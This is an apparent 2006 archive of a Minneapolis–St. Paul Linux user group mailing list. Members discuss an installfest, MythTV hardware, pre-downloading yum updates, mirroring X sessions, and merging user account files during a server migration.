From ben_b at ppdonline.com Wed Mar 1 06:57:37 2006 From: ben_b at ppdonline.com (Ben Bargabus) Date: Wed, 01 Mar 2006 06:57:37 -0600 Subject: [tclug-list] installfest? Message-ID: <44059A41.23482A1D@ppdonline.com> I haven't seen an "annouce", is the proposed installfest happening this weekend? (I hope) Ben. From tommyj27 at gmail.com Wed Mar 1 14:20:07 2006 From: tommyj27 at gmail.com (Thomas Johnson) Date: Wed, 1 Mar 2006 14:20:07 -0600 Subject: [tclug-list] thinking about MythTV, looking for a sound card. Message-ID: <1469cda20603011220l118aae51o7e3d11fd049195b0@mail.gmail.com> I'm thinking about turning my desktop into a MythTV box to play DVD images straight from the harddrive. I want to hook it up into my home theater system, which means i'm going to need a new sound card, something with a digital output. I would prefer a TOSLINK output, but SPDIF would grudgingly accepted. Does anyone have any recommendations for cards that are relatively problem free as far as linux compatibility, particularly with digital output, DTS passthrough, etc.? I would also like to find a video card that has good component video output and linux compatibility. Any recommendations there? I've read the MythTV docs and they seem to stop short of saying "xyz product works really well and is what you should buy." -t From j_wrocky at comcast.net Wed Mar 1 17:20:24 2006 From: j_wrocky at comcast.net (j_wrocky@comcast.net) Date: Wed, 01 Mar 2006 23:20:24 +0000 Subject: [tclug-list] Off Topic - Volunteers Message-ID: <030120062320.26522.44062C38000C587F0000679A220076369297050C019D99A106@comcast.net> Looking for volunteers to help at a senior computer learning center. We provide free help with computer learning. Most of the time is how do I open or send attachments on email. Pretty basic computer tasks for the most part. We have six Compaq 1.2 G computers with Windows XP Pro and a bunch of Microsoft software and other software and fiber optic connection to the Internet. The center is located in West St Paul, MN at Thompson Park off Highway 52 and Butler one quarter mile west, 1200 Stassen Lane. The help is provided 9 AM to 11:30 AM Monday and Wednesday mornings. These seniors are not ready for Linux, so Windows is what we help with. email me if you know someone who could help. j_wrocky at comcast dot net Thanks Jerry From markmit at mn.rr.com Wed Mar 1 20:39:21 2006 From: markmit at mn.rr.com (Mark Mitchell) Date: Wed, 1 Mar 2006 20:39:21 -0600 Subject: [tclug-list] Off Topic - Volunteers In-Reply-To: <030120062320.26522.44062C38000C587F0000679A220076369297050C019D99A106@comcast.net> References: <030120062320.26522.44062C38000C587F0000679A220076369297050C019D99A106@comcast.net> Message-ID: <200603012039.21867.markmit@mn.rr.com> I would've loved to help. I'm trying to get back into IT and this kind of support experience would be helpful. But the location isn't great (I'm in S Mpls), and the hours are a deal-breaker (I work 1st shift). If anyone else knows about anything similar on weekends or evening, please let me know. Mark Mitchell On Wednesday 01 March 2006 17:20, j_wrocky at comcast.net wrote: > Looking for volunteers to help at a senior computer learning center. > > We provide free help with computer learning. Most of the time is how do I > open or send attachments on email. Pretty basic computer tasks for the > most part. We have six Compaq 1.2 G computers with Windows XP Pro and a > bunch of Microsoft software and other software and fiber optic connection > to the Internet. > > The center is located in West St Paul, MN at Thompson Park off Highway 52 > and Butler one quarter mile west, 1200 Stassen Lane. The help is provided > 9 AM to 11:30 AM Monday and Wednesday mornings. > > These seniors are not ready for Linux, so Windows is what we help with. > > email me if you know someone who could help. > > j_wrocky at comcast dot net > > Thanks > > Jerry > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From jwreese0 at comcast.net Wed Mar 1 20:51:33 2006 From: jwreese0 at comcast.net (John Reese) Date: Wed, 01 Mar 2006 20:51:33 -0600 Subject: [tclug-list] Need to mirror X session on remote Linux box Message-ID: <1141267893.5414.10.camel@jupiter.lowbrau.net> At work we have a large number of wall monitors streaming data to our production floor workers. What workers see is just an X session running from a Linux box in the next room. We have had a problem with these X sessions locking. We need a way to remotely capture and mirror the X sessions that users see on the wall monitor. VNC would not appear to be the way to do this; can this be done with the 'screen' command? I have used screen with xterm sessions -- has anyone used this to capture and entire X session? John Reese From dniesen at gmail.com Wed Mar 1 21:34:57 2006 From: dniesen at gmail.com (Donovan Niesen) Date: Wed, 1 Mar 2006 21:34:57 -0600 Subject: [tclug-list] Need to mirror X session on remote Linux box In-Reply-To: <1141267893.5414.10.camel@jupiter.lowbrau.net> References: <1141267893.5414.10.camel@jupiter.lowbrau.net> Message-ID: <47f4d5e70603011934k3881d76bv3f285f44eb0dca46@mail.gmail.com> On 3/1/06, John Reese wrote: > At work we have a large number of wall monitors streaming data to our > production floor workers. What workers see is just an X session running > from a Linux box in the next room. > > We have had a problem with these X sessions locking. We need a way to > remotely capture and mirror the X sessions that users see on the wall > monitor. VNC would not appear to be the way to do this; can this be done > with the 'screen' command? I have used screen with xterm sessions -- has > anyone used this to capture and entire X session? > > John Reese > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > Screen is really only for manipulating terminal sessions. Why do you feel that VNC is not a viable option? Seems like it's exactly what you're looking for. -- Donovan Niesen From ben_b at ppdonline.com Thu Mar 2 06:20:13 2006 From: ben_b at ppdonline.com (Ben Bargabus) Date: Thu, 02 Mar 2006 06:20:13 -0600 Subject: [tclug-list] Downloading yum update content? Message-ID: <4406E2FD.C8C7887@ppdonline.com> Hello, Is it possible to just download but not run the packages from 'yum update'? I'm thinking about the installfest (assuming it happens, any word?) and want to have most of the updates for my system ready to go on cd or dvd prior to the event (there are about 730 MB worth so I don't want to spend an hour and half waiting for downloads there). Any ideas? Thanks, Ben. From webmaster at mn-linux.org Thu Mar 2 08:24:05 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Thu, 2 Mar 2006 08:24:05 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603021424.k22EO5J00833@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: Want for Free Subject: computer donations for small school Need 20 donated PC's for small, start up school. PII's with 128 Mb of ram or better. No OS needed. Will pick up. Raymond Norton admin at lctn.org Seller Email address: admin at lctn dot org http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From ewilts at ewilts.org Thu Mar 2 09:57:50 2006 From: ewilts at ewilts.org (Ed Wilts) Date: Thu, 2 Mar 2006 09:57:50 -0600 Subject: [tclug-list] Downloading yum update content? In-Reply-To: <4406E2FD.C8C7887@ppdonline.com> References: <4406E2FD.C8C7887@ppdonline.com> Message-ID: <20060302155750.GA18472@www.ewilts.org> On Thu, Mar 02, 2006 at 06:20:13AM -0600, Ben Bargabus wrote: > Is it possible to just download but not run the packages from 'yum > update'? I'm thinking about the installfest (assuming it happens, any > word?) and want to have most of the updates for my system ready to go on > cd or dvd prior to the event (there are about 730 MB worth so I don't > want to spend an hour and half waiting for downloads there). Any ideas? $ yum --version 2.0.7 yum --download-only This option doesn't seem to be available for even a newer version of yum so check your version carefully. -- Ed Wilts, RHCE Mounds View, MN, USA mailto:ewilts at ewilts.org Member #1, Red Hat Community Ambassador Program From dniesen at gmail.com Thu Mar 2 10:37:24 2006 From: dniesen at gmail.com (Donovan Niesen) Date: Thu, 2 Mar 2006 10:37:24 -0600 Subject: [tclug-list] Need to mirror X session on remote Linux box In-Reply-To: <1141316443.1304.0.camel@mn65-eggplant.htc.honeywell.com> References: <1141267893.5414.10.camel@jupiter.lowbrau.net> <47f4d5e70603011934k3881d76bv3f285f44eb0dca46@mail.gmail.com> <1141316443.1304.0.camel@mn65-eggplant.htc.honeywell.com> Message-ID: <47f4d5e70603020837x48fe0366rd150f2a26bd056b1@mail.gmail.com> On 3/2/06, Jon Schewe wrote: > On Wed, 2006-03-01 at 21:34 -0600, Donovan Niesen wrote: > > Screen is really only for manipulating terminal sessions. Why do you > > feel that VNC is not a viable option? Seems like it's exactly what > > you're looking for. > Probably because it doesn't capture the console screen, only a new > display that the VNC server starts up. > > > ________________________________________________________________________ > Jon Schewe | http://www.mtu.net/~jpschewe > If you see a signature.asc file attached to the message this is my > digital signature. > See http://www.gnupg.org for more information. > > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.2 (GNU/Linux) > > iD8DBQBEBxtbyWh1lXh/lFURAkNjAKCdSQH68QRtDmJ+OEjONt8WeO4HmQCeMdmI > kxh3lzIJeK+3Tm7zpmuGqI4= > =cGPI > -----END PGP SIGNATURE----- > > > If that's the case, x11vnc will do grab the console X session. http://www.karlrunge.com/x11vnc/ -- Donovan Niesen From esper at sherohman.org Fri Mar 3 08:06:21 2006 From: esper at sherohman.org (Dave Sherohman) Date: Fri, 3 Mar 2006 08:06:21 -0600 Subject: [tclug-list] thinking about MythTV, looking for a sound card. In-Reply-To: <1469cda20603011220l118aae51o7e3d11fd049195b0@mail.gmail.com> References: <1469cda20603011220l118aae51o7e3d11fd049195b0@mail.gmail.com> Message-ID: <20060303140621.GA24811@sherohman.org> On Wed, Mar 01, 2006 at 02:20:07PM -0600, Thomas Johnson wrote: > I'm thinking about turning my desktop into a MythTV box to play DVD > images straight from the harddrive. If you're *just* looking to play DVDs, then MythTV is serious, serious overkill. IIRC, it just calls mplayer, xine, or whatever other external player you've configured when you tell it to show a DVD (or any other video file that's not a MythTV-created recording of a TV show), so, if you're not planning to record TV shows, you're going to be better off just installing mplayer, xine, or whatever other player and just using that directly. Also, from a design perspective, mythfrontend is somewhat desktop- hostile. Its design is so heavily focused on being run full-screen on a dedicated box and managed with a remote control that it's clumsy to use in any other way. Running a myth client on my normal desktop system, I've found that it appears to have no way to resize the video window or toggle between windowed and full-screen modes short of stopping playback and wading through the setup screens for every minor change; it completely ignores all mouse input; and (under WindowMaker, at least) it always starts up with no title bar on its window, making it impossible to move the window without bringing up the window settings (via keyboard) and manually turning off 'disable titlebar' each and every time it's run. (Yes, this is one of my major pet peeves with MythTV... I absolutely believe that programs should concentrate on doing one thing well, but not to the extent of making it harder to do anything even slightly different.) On hardware recommendations, I can't offer any suggestions for a sound card (I'm perfectly happy with analog stereo, so I've never paid attention to SPDIF and have no memory of ever even hearing of TOSLINK before), but, for video, my dedicated MythTV box is using a plain old Radeon 9200 and I've had no problems with it, although most people on the MythTV mailing lists seem to advocate nVidia cards over ATI. -- The freedoms that we enjoy presently are the most important victories of the White Hats over the past several millennia, and it is vitally important that we don't give them up now, only because we are frightened. - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) From christophermsmith at gmail.com Fri Mar 3 08:52:18 2006 From: christophermsmith at gmail.com (Christopher Smith) Date: Fri, 3 Mar 2006 08:52:18 -0600 Subject: [tclug-list] Downloading yum update content? In-Reply-To: <4406E2FD.C8C7887@ppdonline.com> Message-ID: <44085823.0198ea02.1060.1637@mx.gmail.com> You could do an rsync of a repository and put it on DVD. Something like... rsync -av --partial --stats \ --exclude 1 \ --exclude debug \ --exclude 2 \ --exclude SRPMS \ --exclude testing \ --exclude development \ --exclude x86_64 \ --exclude ppc \ --exclude test \ --exclude iso \ --delete mirror.cs.wisc.edu::fedora-linux-core/* /path-you-want -----Original Message----- From: tclug-list-bounces at mn-linux.org [mailto:tclug-list-bounces at mn-linux.org] On Behalf Of Ben Bargabus Sent: Thursday, March 02, 2006 6:20 AM To: TCLUG Subject: [tclug-list] Downloading yum update content? Hello, Is it possible to just download but not run the packages from 'yum update'? I'm thinking about the installfest (assuming it happens, any word?) and want to have most of the updates for my system ready to go on cd or dvd prior to the event (there are about 730 MB worth so I don't want to spend an hour and half waiting for downloads there). Any ideas? Thanks, Ben. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota tclug-list at mn-linux.org http://mailman.mn-linux.org/mailman/listinfo/tclug-list From tommyj27 at gmail.com Fri Mar 3 11:34:54 2006 From: tommyj27 at gmail.com (Thomas Johnson) Date: Fri, 3 Mar 2006 11:34:54 -0600 Subject: [tclug-list] thinking about MythTV, looking for a sound card. In-Reply-To: <20060303140621.GA24811@sherohman.org> References: <1469cda20603011220l118aae51o7e3d11fd049195b0@mail.gmail.com> <20060303140621.GA24811@sherohman.org> Message-ID: <1469cda20603030934p54194904uea16b91526771d56@mail.gmail.com> At some point I am going to want the TV capture feaures (moving in with a bunch of TV nuts), but right now I'm just looking to playback some DVD disc images, music, and other random video files from a remote control, idiot-resistant interface. Once I get Myth working right, my desktop will probably cease to serve as a desktop. I'll just move it out my my home theater setup and let it sit. I rarely use the desktop anyways, I prefer my laptop in bed to sitting at my desk. Currently it has an ancient SBLive! that sounds great for two channel sound, but I've got the full surround system and I would like to take advantage of it. My video card is a Nvidia FX5300 with an s-video output, so it sould work, although I'm a bit corncerned about the quality of s-video compared to component outputs. In my experience, s-video outputs seem blurry, and once again, I've got the home theater setup with the 16:9 TV, I'd like to utilize its capabilities. On 3/3/06, Dave Sherohman wrote: > On Wed, Mar 01, 2006 at 02:20:07PM -0600, Thomas Johnson wrote: > > I'm thinking about turning my desktop into a MythTV box to play DVD > > images straight from the harddrive. > > If you're *just* looking to play DVDs, then MythTV is serious, > serious overkill. IIRC, it just calls mplayer, xine, or whatever > other external player you've configured when you tell it to show a > DVD (or any other video file that's not a MythTV-created recording of > a TV show), so, if you're not planning to record TV shows, you're > going to be better off just installing mplayer, xine, or whatever > other player and just using that directly. > > Also, from a design perspective, mythfrontend is somewhat desktop- > hostile. Its design is so heavily focused on being run full-screen > on a dedicated box and managed with a remote control that it's clumsy > to use in any other way. Running a myth client on my normal desktop > system, I've found that it appears to have no way to resize the video > window or toggle between windowed and full-screen modes short of > stopping playback and wading through the setup screens for every > minor change; it completely ignores all mouse input; and (under > WindowMaker, at least) it always starts up with no title bar on its > window, making it impossible to move the window without bringing up > the window settings (via keyboard) and manually turning off 'disable > titlebar' each and every time it's run. (Yes, this is one of my > major pet peeves with MythTV... I absolutely believe that programs > should concentrate on doing one thing well, but not to the extent of > making it harder to do anything even slightly different.) > > On hardware recommendations, I can't offer any suggestions for a > sound card (I'm perfectly happy with analog stereo, so I've never > paid attention to SPDIF and have no memory of ever even hearing of > TOSLINK before), but, for video, my dedicated MythTV box is using a > plain old Radeon 9200 and I've had no problems with it, although most > people on the MythTV mailing lists seem to advocate nVidia cards over > ATI. > > -- > The freedoms that we enjoy presently are the most important victories of the > White Hats over the past several millennia, and it is vitally important that > we don't give them up now, only because we are frightened. > - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From admin at lctn.org Fri Mar 3 13:06:16 2006 From: admin at lctn.org (Raymond Norton) Date: Fri, 03 Mar 2006 13:06:16 -0600 Subject: [tclug-list] moving users to new server Message-ID: <1141412776.2809.179.camel@project-1.tamray.com> I'm setting up a new mail server and have moved over the necessary user files. Is there a way to copy the info from the old server /etc/passwd, /etc/group , and /etc/shadow to the same files on the new server, without writing over existing entries or creating duplicates? I am going to search the archives, but I also need a way to assign proper permissions to each user's files and folders. I got answers on that a year or so ago, but if you know the answer, feel free to post it:) Raymond From srcfoo at gmail.com Fri Mar 3 13:51:09 2006 From: srcfoo at gmail.com (Eric Peterson) Date: Fri, 3 Mar 2006 13:51:09 -0600 Subject: [tclug-list] moving users to new server In-Reply-To: <1141412776.2809.179.camel@project-1.tamray.com> References: <1141412776.2809.179.camel@project-1.tamray.com> Message-ID: <579c6fd30603031151h520918c5s65a242ddaf20a0f6@mail.gmail.com> On 3/3/06, Raymond Norton wrote: > I'm setting up a new mail server and have moved over the necessary user > files. Is there a way to copy the info from the old > server /etc/passwd, /etc/group , and /etc/shadow to the same files on > the new server, without writing over existing entries or creating > duplicates? > There may be a better way, but I always use Vim. I've thought about scripting it, but after seeing all the strange UID assignments that occur, I've decided I would like to see things myself. The whole process usually only takes 5 - 10 minutes. In my situation, the new server just has system UIDs and a few newly created users so it's usually just a cut and paste. You just have to make sure that their aren't any conflicts. The home directories also need to be there. I handle the /etc/group file in the same way. I know on Redhat and Debian based distros (so probably others too) have the pwck and grpck commands that point out any errors or conflicts which makes the process even easier. If your new server has a lot of non-system entries already, you may want to think about writing a script to change the old UIDs by incrementing with the largest UID on the new system. That way you shouldn't have any conflicts. One thing to look out for is file permissions. If you need to change the UIDs of your users and they had ownership of files, you may have a hard time getting the permissions back to working order. It's easy if they only had files in their home directory and all the files can have the same perms, but otherwise in can be a major PITA. Let us know if you find a better solution. I know I would appreciate it, but don't have any time to look for one. -Eric From josh at trutwins.homeip.net Fri Mar 3 14:00:19 2006 From: josh at trutwins.homeip.net (Josh Trutwin) Date: Fri, 03 Mar 2006 14:00:19 -0600 Subject: [tclug-list] thinking about MythTV, looking for a sound card. In-Reply-To: <1469cda20603030934p54194904uea16b91526771d56@mail.gmail.com> References: <1469cda20603011220l118aae51o7e3d11fd049195b0@mail.gmail.com> <20060303140621.GA24811@sherohman.org> <1469cda20603030934p54194904uea16b91526771d56@mail.gmail.com> Message-ID: <4408A053.9010905@trutwins.homeip.net> FWIW - go to digg.com and search for "myth" - a lot of folks have posted links to Myth TV setup HOWTOs. Josh Thomas Johnson wrote: > At some point I am going to want the TV capture feaures (moving in > with a bunch of TV nuts), but right now I'm just looking to playback > some DVD disc images, music, and other random video files from a > remote control, idiot-resistant interface. > > Once I get Myth working right, my desktop will probably cease to serve > as a desktop. I'll just move it out my my home theater setup and let > it sit. I rarely use the desktop anyways, I prefer my laptop in bed to > sitting at my desk. Currently it has an ancient SBLive! that sounds > great for two channel sound, but I've got the full surround system and > I would like to take advantage of it. My video card is a Nvidia FX5300 > with an s-video output, so it sould work, although I'm a bit > corncerned about the quality of s-video compared to component outputs. > In my experience, s-video outputs seem blurry, and once again, I've > got the home theater setup with the 16:9 TV, I'd like to utilize its > capabilities. > > On 3/3/06, Dave Sherohman wrote: >> On Wed, Mar 01, 2006 at 02:20:07PM -0600, Thomas Johnson wrote: >>> I'm thinking about turning my desktop into a MythTV box to play DVD >>> images straight from the harddrive. >> If you're *just* looking to play DVDs, then MythTV is serious, >> serious overkill. IIRC, it just calls mplayer, xine, or whatever >> other external player you've configured when you tell it to show a >> DVD (or any other video file that's not a MythTV-created recording of >> a TV show), so, if you're not planning to record TV shows, you're >> going to be better off just installing mplayer, xine, or whatever >> other player and just using that directly. >> >> Also, from a design perspective, mythfrontend is somewhat desktop- >> hostile. Its design is so heavily focused on being run full-screen >> on a dedicated box and managed with a remote control that it's clumsy >> to use in any other way. Running a myth client on my normal desktop >> system, I've found that it appears to have no way to resize the video >> window or toggle between windowed and full-screen modes short of >> stopping playback and wading through the setup screens for every >> minor change; it completely ignores all mouse input; and (under >> WindowMaker, at least) it always starts up with no title bar on its >> window, making it impossible to move the window without bringing up >> the window settings (via keyboard) and manually turning off 'disable >> titlebar' each and every time it's run. (Yes, this is one of my >> major pet peeves with MythTV... I absolutely believe that programs >> should concentrate on doing one thing well, but not to the extent of >> making it harder to do anything even slightly different.) >> >> On hardware recommendations, I can't offer any suggestions for a >> sound card (I'm perfectly happy with analog stereo, so I've never >> paid attention to SPDIF and have no memory of ever even hearing of >> TOSLINK before), but, for video, my dedicated MythTV box is using a >> plain old Radeon 9200 and I've had no problems with it, although most >> people on the MythTV mailing lists seem to advocate nVidia cards over >> ATI. >> >> -- >> The freedoms that we enjoy presently are the most important victories of the >> White Hats over the past several millennia, and it is vitally important that >> we don't give them up now, only because we are frightened. >> - Eolake Stobblehouse (http://stobblehouse.com/text/battle.html) >> >> _______________________________________________ >> TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >> tclug-list at mn-linux.org >> http://mailman.mn-linux.org/mailman/listinfo/tclug-list >> > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From thecubic at thecubic.net Fri Mar 3 15:28:55 2006 From: thecubic at thecubic.net (David Carlson) Date: Fri, 3 Mar 2006 15:28:55 -0600 (CST) Subject: [tclug-list] moving users to new server In-Reply-To: <579c6fd30603031151h520918c5s65a242ddaf20a0f6@mail.gmail.com> References: <1141412776.2809.179.camel@project-1.tamray.com> <579c6fd30603031151h520918c5s65a242ddaf20a0f6@mail.gmail.com> Message-ID: <12484.163.231.6.67.1141421335.squirrel@castor.thecubic.net> On Fri, March 3, 2006 1:51 pm, Eric Peterson wrote: > On 3/3/06, Raymond Norton wrote: >> I'm setting up a new mail server and have moved over the necessary user >> files. Is there a way to copy the info from the old >> server /etc/passwd, /etc/group , and /etc/shadow to the same files on >> the new server, without writing over existing entries or creating >> duplicates? It's definitely best to eyeball it with Vim (even if you use automation), but automation, well, frees time: cat /etc/ | cut -d: -f | sort | uniq -d | uniq works for finding duplicate names (n=1) with /etc/{group,passwd,shadow} works for finding duplicate UID/GID (n=3) with /etc/{group,passwd} if you get the outputs to be empty by tweaking either of the files, and then append the new to the system copy, you should be safe. run {pw,grp}ck for peace of mind. -=-=-=-=-=-=-=- David Carlson thecubic at thecubic.net From clay at fandre.com Fri Mar 3 15:40:41 2006 From: clay at fandre.com (Clayton Fandre) Date: Fri, 03 Mar 2006 15:40:41 -0600 Subject: [tclug-list] installfest? In-Reply-To: <44059A41.23482A1D@ppdonline.com> References: <44059A41.23482A1D@ppdonline.com> Message-ID: <4408B7D9.3060008@fandre.com> Yes, the installfest is on. Check out http://www.tclug.org/installfest/ for more information. Please register if you plan on attending. -- Clay Ben Bargabus wrote: > I haven't seen an "annouce", is the proposed installfest happening this > weekend? (I hope) > Ben. > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From clay at fandre.com Fri Mar 3 15:42:41 2006 From: clay at fandre.com (Clayton Fandre) Date: Fri, 03 Mar 2006 15:42:41 -0600 Subject: [tclug-list] Installfest on Saturday Message-ID: <4408B851.8020602@fandre.com> Sorry if this never made it to the regular list. I thought I sent it to both but apparently not... It's official!!! Next TCLUG Installfest When: Date: Saturday, March 4th, 2006 Time: 9:00am - 3:00pm Info: If you plan on attending, please register here: http://www.mn-linux.org/installfest/registration.php Where: King of Grace Lutheran Church 6000 Duluth Street Golden Valley, MN, 55422 Please enter in SE gym doors and go upstairs to fellowship hall. Additional details about the installfest; please read and heed. * Please bring network cables, power strips or any other cables/accessories you need to make your computer go. We will have several large network switches, so you won't need to bring any mini-hubs. We will also have a supply of network cables. * BYOM (bring your own CDR/CDRW media). We should have a good supply of distributions. We will have a large supply of pre-burned copies of the new Ubuntu linux distribution (to be released April 4th) We will have x86, amd64, and ppc versions of the Ubuntu CDs. From sfertch at gmail.com Sat Mar 4 16:00:17 2006 From: sfertch at gmail.com (Shawn Fertch) Date: Sat, 4 Mar 2006 16:00:17 -0600 Subject: [tclug-list] Local vendor for server racks? Message-ID: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> Looking for a local vendor of computer rack components such as shelves, etc on the east side. Recommendations? -- -Shawn -Nemo me impune lacessit. Ne Obliviscaris.. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060304/71979e91/attachment.htm From scheides at iexposure.com Sat Mar 4 16:09:36 2006 From: scheides at iexposure.com (Chris Scheidecker) Date: Sat, 4 Mar 2006 16:09:36 -0600 Subject: [tclug-list] Local vendor for server racks? In-Reply-To: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> References: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> Message-ID: <200603041609.36793.scheides@iexposure.com> Try calling Jeff Story @ RCOM. 763.557.2801 Excellent stuff. On Saturday 04 March 2006 04:00 pm, Shawn Fertch wrote: > Looking for a local vendor of computer rack components such as shelves, etc > on the east side. Recommendations? > > -- > -Shawn > > -Nemo me impune lacessit. Ne Obliviscaris.. -- Chris Scheidecker cscheidecker at iexposure.com Systems Administrator Internet Exposure, Inc. http://www.iexposure.com (612) 676-1946 x15 Providing Internet Services since 1995 Web Development ~ Search Engine Marketing ~ Web Analytics Network Security ~ On Demand Tech Support ~ E-Mail Marketing From wilson at visi.com Sat Mar 4 16:11:26 2006 From: wilson at visi.com (Tim Wilson) Date: Sat, 4 Mar 2006 16:11:26 -0600 Subject: [tclug-list] Local vendor for server racks? In-Reply-To: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> References: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> Message-ID: On Mar 4, 2006, at 4:00 PM, Shawn Fertch wrote: > Looking for a local vendor of computer rack components such as > shelves, etc on the east side. Recommendations? I've had good luck with GoldCom in South St. Paul. -Tim -- Tim Wilson Twin Cities, Minnesota, USA Educational technology guy, Linux and OS X fan, Grad. student, Daddy mailto: wilson at visi.com aim: tis270 blog: http://technosavvy.org From mbmiller at taxa.epi.umn.edu Sun Mar 5 09:10:45 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Sun, 5 Mar 2006 09:10:45 -0600 (CST) Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: <4405DFF1.4090105@fandre.com> References: <4405DFF1.4090105@fandre.com> Message-ID: On Wed, 1 Mar 2006, Clayton Fandre wrote: > * BYOM (bring your own CDR/CDRW media). We should have a good supply > of distributions. We will have a large supply of pre-burned copies of > the new Ubuntu linux distribution (to be released April 4th) We will > have x86, amd64, and ppc versions of the Ubuntu CDs. Sadly, the Ubuntu CDs did not make an appearance. In fact, I was surprised to hear from one of the organizers that he didn't even know what Ubuntu was. Was he kidding? Anyway, we lugged our computer out there, drove 15 miles, and were very disappointed. Mike From florin at iucha.net Sun Mar 5 09:36:10 2006 From: florin at iucha.net (Florin Iucha) Date: Sun, 5 Mar 2006 09:36:10 -0600 Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: References: <4405DFF1.4090105@fandre.com> Message-ID: <20060305153610.GP31311@iucha.net> On Sun, Mar 05, 2006 at 09:10:45AM -0600, Mike Miller wrote: > On Wed, 1 Mar 2006, Clayton Fandre wrote: > > > * BYOM (bring your own CDR/CDRW media). We should have a good supply > > of distributions. We will have a large supply of pre-burned copies of > > the new Ubuntu linux distribution (to be released April 4th) We will > > have x86, amd64, and ppc versions of the Ubuntu CDs. > > > Sadly, the Ubuntu CDs did not make an appearance. In fact, I was > surprised to hear from one of the organizers that he didn't even know what > Ubuntu was. Was he kidding? > > Anyway, we lugged our computer out there, drove 15 miles, and were very > disappointed. You should have shouted louder: I had two ubuntu amd64 cds and I had the i386 cds pass through my hands on a couple of occasions. Also, there were people with cd burners that could have cooked more if need be. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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We should have a good > supply > > > of distributions. We will have a large supply of pre-burned copies of > > > the new Ubuntu linux distribution (to be released April 4th) We will > > > have x86, amd64, and ppc versions of the Ubuntu CDs. > > > > > > Sadly, the Ubuntu CDs did not make an appearance. In fact, I was > > surprised to hear from one of the organizers that he didn't even know > what > > Ubuntu was. Was he kidding? > > > > Anyway, we lugged our computer out there, drove 15 miles, and were very > > disappointed. > > You should have shouted louder: I had two ubuntu amd64 cds and I had > the i386 cds pass through my hands on a couple of occasions. Also, > there were people with cd burners that could have cooked more if need > be. > > florin > > -- > Don't question authority: they don't know either! > > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.2 (GNU/Linux) > > iD8DBQFECwVqND0rFCN2b1sRAjzxAKCZXX0O9MghQhTf4etW7jP9vl+qNwCeLkS9 > AtKBJdfZVDIEAMCjS/WTAms= > =IdJe > -----END PGP SIGNATURE----- > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060305/fb1b2009/attachment.htm From teeahr1 at gmail.com Sun Mar 5 11:32:22 2006 From: teeahr1 at gmail.com (Pete Daniels) Date: Sun, 5 Mar 2006 11:32:22 -0600 Subject: [tclug-list] What do do with 40 Ubuntu CDs? Message-ID: <1f729feb0603050932x42966debte298e0fd6608d0ad@mail.gmail.com> I've got a month to move these damn things before Dapper goes out, anyone have any ideas? -pete -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060305/a6d7fbac/attachment-0001.htm From jkjones at tcq.net Sun Mar 5 11:48:24 2006 From: jkjones at tcq.net (Kraig Jones) Date: Sun, 05 Mar 2006 11:48:24 -0600 Subject: [tclug-list] What do do with 40 Ubuntu CDs? In-Reply-To: <1f729feb0603050932x42966debte298e0fd6608d0ad@mail.gmail.com> References: <1f729feb0603050932x42966debte298e0fd6608d0ad@mail.gmail.com> Message-ID: <440B2468.1050104@tcq.net> Pete Daniels wrote: > I've got a month to move these damn things before Dapper goes out, > anyone have any ideas? > -pete > >------------------------------------------------------------------------ > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > Stuff 'em in magazines and newspaper racks, a la AOL. 147,000 Hours FREE! From mbmiller at taxa.epi.umn.edu Sun Mar 5 12:46:57 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Sun, 5 Mar 2006 12:46:57 -0600 (CST) Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: <20060305153610.GP31311@iucha.net> References: <4405DFF1.4090105@fandre.com> <20060305153610.GP31311@iucha.net> Message-ID: On Sun, 5 Mar 2006, Florin Iucha wrote: > On Sun, Mar 05, 2006 at 09:10:45AM -0600, Mike Miller wrote: > >> Sadly, the 